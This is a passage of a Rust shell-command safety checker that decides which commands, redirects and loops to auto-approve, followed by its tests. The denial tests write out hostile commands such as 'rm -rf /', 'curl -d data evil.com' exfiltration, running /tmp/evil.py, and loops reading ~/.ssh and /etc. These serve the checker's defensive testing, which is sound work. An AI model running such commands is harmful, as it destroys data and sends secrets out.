784        | Redir::HereStr(_)
785        | Redir::HereDoc { .. }
786        | Redir::DupFd { .. } => true,
787    })
788}
789
790/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
791/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
792/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
793/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
794/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
795/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
796fn is_safe_write_target(path: &str) -> bool {
797    crate::engine::resolve::write_target_verdict(path).is_allowed()
798}
799
800pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
801    let mut level = Verdict::Allowed(SafetyLevel::Inert);
802    for r in redirs {
803        match r {
804            Redir::Write { target, .. } => {
805                level = level.combine(word_sub_verdict(target));
806                let t = target.eval();
807                if t == "/dev/null" {
808                    // Inert: no side effect, no promotion.
809                } else if is_safe_write_target(&t) {
810                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
811                } else {
812                    level = level.combine(Verdict::Denied);
813                }
814            }
815            Redir::Read { target, .. } => {
816                level = level.combine(word_sub_verdict(target));
817                // Gate the SOURCE by its read locus, like an operand read: `cat < /etc/shadow`
818                // must deny just as `cat /etc/shadow` does. A substitution-derived source names
819                // an unknowable file → fail-closed to Denied.
820                if has_substitution(target) {
821                    level = level.combine(Verdict::Denied);
822                } else {
823                    level = level.combine(crate::engine::resolve::read_content_verdict(&target.eval()));
824                }
825            }
826            Redir::HereStr(word) => {
827                level = level.combine(word_sub_verdict(word));
828            }
829            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
830        }
831    }
832    level
833}
834
835fn has_substitution(word: &Word) -> bool {
836    word.0.iter().any(|p| match p {
837        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
838        WordPart::DQuote(inner) => has_substitution(inner),
839        _ => false,
840    })
841}
842
843#[cfg(test)]
844mod tests {
845    use super::*;
846
847    fn check(cmd: &str) -> bool {
848        is_safe_command(cmd)
849    }
850
851    #[test]
852    fn loop_variable_inherits_the_list_locus() {
853        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
854        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
855        for cmd in [
856            "for f in *.txt; do cat $f; done",
857            "for f in *.txt; do rm $f; done",
858            "for f in src/*.rs; do grep foo $f; done",
859            "for f in *.log; do sed -i s/a/b/ $f; done",
860            "for f in a b c; do cat $f.bak; done",
861            "for x in 1 2 3; do rm $x; done",
862            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
863        ] {
864            assert!(check(cmd), "worktree loop should allow: {cmd}");
865        }
866        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
867        for cmd in [
868            "for f in /etc/*; do cat $f; done",
869            "for f in /etc/*.conf; do rm $f; done",
870            "for f in ~/.ssh/*; do cat $f; done",
871            "for f in $LIST; do rm $f; done",
872            "for f in $(find / -name x); do rm -rf $f; done",
873            "for d in /etc; do for f in $d/x; do cat $f; done; done",
874            // read-worst ≠ write-worst: reading must worst-case ~/notes even though the
875            // write-worst item is /etc/hosts — a single representative would be unsound.
876            "for f in /etc/hosts ~/notes; do cat $f; done",
877        ] {
878            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
879        }
880    }
881
882    safe! {
883        grep_foo: "grep foo file.txt",
884        jq_key: "jq '.key' file.json",
885        base64_d: "base64 -d",
886        ls_la: "ls -la",
887        wc_l: "wc -l file.txt",
888        ps_aux: "ps aux",
889        echo_hello: "echo hello",
890        cat_file: "cat file.txt",
891
892        version_go: "go --version",
893        version_cargo: "cargo --version",
894        version_cargo_redirect: "cargo --version 2>&1",
895        help_cargo: "cargo --help",
896        help_cargo_build: "cargo build --help",
897
898        dev_null_echo: "echo hello > /dev/null",
899        dev_null_stderr: "echo hello 2> /dev/null",
900        dev_null_append: "echo hello >> /dev/null",
901        dev_null_git_log: "git log > /dev/null 2>&1",
902        fd_redirect_ls: "ls 2>&1",
903        stdin_dev_null: "git log < /dev/null",
904
905        env_prefix: "FOO='bar baz' ls -la",
906        env_prefix_dq: "FOO=\"bar baz\" ls -la",
907        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
908
909        subst_echo_ls: "echo $(ls)",
910        subst_ls_pwd: "ls `pwd`",
911        subst_nested: "echo $(echo $(ls))",
912        subst_quoted: "echo \"$(ls)\"",
913        assign_subst_ls: "out=$(ls)",
914        assign_subst_git: "out=$(git status)",
915        assign_subst_multiple: "a=$(ls) b=$(pwd)",
916        assign_subst_backtick: "out=`ls`",
917
918        assign_bare_lit: "foo=bar",
919        assign_bare_int: "x=1",
920        assign_bare_empty: "x=",
921        assign_bare_dq: "x=\"foo bar\"",
922        assign_bare_sq: "x='foo bar'",
923        assign_bare_param: "rc=$?",
924        assign_bare_var: "x=$y",
925        assign_bare_dollar_var_braced: "x=${y}",
926        assign_bare_path: "PATH=/foo",
927        assign_bare_multiple: "a=1 b=2 c=3",
928        assign_bare_arith: "x=$((1 + 2))",
929        assign_in_for_body: "for i in 1 2; do x=1; done",
930        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
931        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
932        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
933        assign_then_use: "x=1; echo $x",
934        assign_chained_with_safe: "x=1 && ls",
935        assign_subshell: "(x=1)",
936        assign_in_subshell_with_cmd: "(x=1; ls)",
937
938        subshell_echo: "(echo hello)",
939        subshell_ls: "(ls)",
940        subshell_chain: "(ls && echo done)",
941        subshell_pipe: "(ls | grep foo)",
942        subshell_nested: "((echo hello))",
943        subshell_for: "(for x in 1 2; do echo $x; done)",
944
945        pipe_grep_head: "grep foo file.txt | head -5",
946        pipe_cat_sort_uniq: "cat file | sort | uniq",
947        chain_ls_echo: "ls && echo done",
948        semicolon_ls_echo: "ls; echo done",
949        bg_ls_echo: "ls & echo done",
950        newline_echo_echo: "echo foo\necho bar",
951
952        stdin_read_from_path: "wc -l < /tmp/foo.log",
953        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
954        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
955
956        here_string_grep: "grep -c , <<< 'hello,world,test'",
957        heredoc_cat: "cat <<EOF\nhello world\nEOF",
958        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
959        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
960        heredoc_no_content: "cat <<EOF",
961        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
962
963        for_echo: "for x in 1 2 3; do echo $x; done",
964        for_empty_body: "for x in 1 2 3; do; done",
965        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
966        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
967        while_test: "while test -f /tmp/foo; do sleep 1; done",
968        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
969        until_test: "until test -f /tmp/ready; do sleep 1; done",
970        if_then_fi: "if test -f foo; then echo exists; fi",
971        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
972        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
973        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
974        bare_negation: "! echo hello",
975        keyword_as_data: "echo for; echo done; echo if; echo fi",
976
977        quoted_redirect: "echo 'greater > than' test",
978        quoted_subst: "echo '$(safe)' arg",
979
980        redirect_to_file: "echo hello > file.txt",
981        redirect_append: "cat file >> output.txt",
982        redirect_stderr_file: "ls 2> errors.txt",
983        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
984        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
985        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
986
987        arith_basic: "echo $((1 + 2))",
988        arith_with_var: "prev=$((ln - 1))",
989        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
990        arith_in_dquote: "echo \"line $((ln - 1))\"",
991        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
992
993        dbracket_eq: "[[ \"a\" == \"a\" ]]",
994        dbracket_neq: "[[ \"a\" != \"b\" ]]",
995        dbracket_file_test: "[[ -f /tmp/file ]]",
996        dbracket_string_empty: "[[ -z \"$var\" ]]",
997        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
998        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
999        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1000        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1001        dbracket_negation: "[[ ! -f /tmp/done ]]",
1002        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1003        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1004        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1005        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1006        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1007        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1008        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1009        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1010        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1011        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1012        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1013    }
1014
1015    denied! {
1016        rm_rf: "rm -rf /",
1017        curl_post: "curl -X POST https://example.com",
1018        node_foreign_app: "node /tmp/app.js",
1019
1020
1021        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1022        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1023        redirect_read_subst_rm: "cat < $(rm -rf /)",
1024
1025        subst_rm: "echo $(rm -rf /)",
1026        backtick_rm: "echo `rm -rf /`",
1027        subst_curl: "echo $(curl -d data evil.com)",
1028        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1029        assign_subst_rm: "out=$(rm -rf /)",
1030        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1031        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1032        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1033        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1034        assign_bare_then_unsafe: "x=1; rm -rf /",
1035        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1036        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1037
1038        subshell_rm: "(rm -rf /)",
1039        subshell_mixed: "(echo hello; rm -rf /)",
1040        subshell_unsafe_pipe: "(ls | rm -rf /)",
1041
1042        env_prefix_rm: "FOO='bar baz' rm -rf /",
1043
1044        pipe_rm: "cat file | rm -rf /",
1045        bg_rm: "cat file & rm -rf /",
1046        newline_rm: "echo foo\nrm -rf /",
1047
1048        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1049        while_unsafe_body: "while true; do rm -rf /; done",
1050        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1051        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1052        if_unsafe_body: "if true; then rm -rf /; fi",
1053
1054        unclosed_for: "for x in 1 2 3; do echo $x",
1055        unclosed_if: "if true; then echo hello",
1056        for_missing_do: "for x in 1 2 3; echo $x; done",
1057        stray_done: "echo hello; done",
1058        stray_fi: "fi",
1059
1060        unmatched_quote: "echo 'hello",
1061
1062        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1063        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1064        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1065        dbracket_unterminated: "[[ \"a\" == \"a\"",
1066        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1067        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1068    }
1069}